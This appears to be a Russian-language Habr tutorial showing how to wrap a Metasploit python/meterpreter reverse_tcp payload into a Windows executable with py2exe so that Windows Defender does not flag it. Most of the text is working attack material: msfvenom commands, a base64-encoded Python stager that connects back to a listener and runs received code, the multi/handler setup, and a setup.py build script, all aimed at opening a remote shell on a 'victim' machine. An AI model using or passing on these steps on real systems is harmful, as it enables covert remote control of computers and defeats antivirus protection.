Обходим Windows Defender дешево и сердито: через meterpreter сессию с python

image


Всем привет. Сегодня рассмотрим вариант запуска meterpreter сессии на машине Windows 10 с самыми свежими патчами (включая Windows Defender). И все также будем обходить антивирусы. Meterpreter — расширенная многофункциональная начинка (payload, нагрузка), которая может быть динамически расширена во время выполнения. В нормальных условиях это обеспечивает вас основной оболочкой и позволяет вам добавлять новые особенности к ней по мере необходимости.
Будем мы это делать с помощью Python, и посмотрим, как поведут себя антивирусные средства.

Предугадывая вопрос «А нужен ли нам Python на машине жертвы для запуска ехе?», отвечу сразу — нет, не нужен, все уже внутри.
В данной статье мы будем использовать:

  • Windows 10 с включенным Windows Defender с обновленными базами (компьютер жертвы 192.168.1.113);
  • Kali linux для использования metasploit и msfvenom (192.168.1.126);
  • Windows 10 для сборки бинарника (в нашей лаборатории совпадает с компьютером жертвы) с установленными;
  • Python (3, но и для 2 тоже посмотрим);
  • py2exe.


Для начала обозначим проблему: создадим exe файл со стандартной нагрузкой, скопируем на машину жертвы и посмотрим к чему это приведёт.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe


Мы получаем предупреждение от нашего старого друга Windows Defender, которого мы так все любим.

image


Если спросим у VirusTotal, то он скажет следующее:

image

Давайте запустим Python и сделаем то, ради чего мы все тут собрались.

Python/meterpreter/reverse_tcp — это уникальный кроссплатформенный payload Metasploit Framework, который позволяет удаленно управлять скомпрометированным компьютером. Не нужно думать о том, какую платформу выбрать, он сработает на любой, но в данном случае сделаем из него исполняемый файл под Windows.

Для начала установим пакет py2exe, который позволяет сделать исполняемый файл Windows из Python скрипта.

У нас это будет Python 3.4 (все что выше — не поддерживает py2exe).

py -3.4 –m pip install py2exe


или

pip install py2exe


Далее создадим «сырой» питоновский код с расширением .py

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py


Так же в вывод msfvenom нам необходимо добавить импорт getpass, который он забывает сделать сам. В итоге получиться должно так:

import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))


Теперь у нас все готово для создания бинарника.

python34 -m py2exe.build_exe hunt.py --bundle-files 0


Должны получить следующее:

image

Давайте еще раз обратимся к VirusTotal:

image

Уже лучше, теперь проверим это в действии — после копирования на машину жертвы обходимся без алертов.

Параллельно запустим наш msf и handler для питона, запустив последовательно команды:

msfconsole
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set lhost 192.168.1.126
set lport 9001
run


image

Пойдем дальше и убедимся, что сессия работает корректно.

image

Таким образом сессия запущена и Windows Defender не сработал, чего мы и добивались.

Заодно давайте рассмотрим, что делать, если у вас Python 2ой версии.

  1. Качаем py2exe для python 2
  2. Генерируем payload с расширением .py
  3. Создаем файл setup.py и пишем туда следующее:
    from distutils.core import setup
    import py2exe
    setup(
    name = ‘Meter’,
    description = ‘Python-based App’,
    version = ‘1.0’,
    console=[‘hunt.py’],
    options = {‘py2exe’: {‘bundle_files’: 1,’packages’:’ctypes’,’includes’: ‘base64,sys,socket,struct,time,code,platform,getpass,shutil’,}},
    zipfile = None,
    ) 
  4. python.exe .\setup.py py2exe

Должно получиться все то же самое.

В качестве итога замечу, что оболочка python meterpreter уступает по функционалу более привычному windows meterpreter. Например, не получится мигрировать в процесс или использовать команды типа getsystem, но все же это реальная альтернатива: получить сессию для работы с msf (routing и portfwd как минимум) и далее работать внутри сети.

© Habrahabr.ru